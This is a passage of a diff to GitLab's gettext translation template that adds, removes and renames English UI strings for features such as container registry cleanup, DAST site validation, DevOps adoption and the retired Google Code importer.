msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
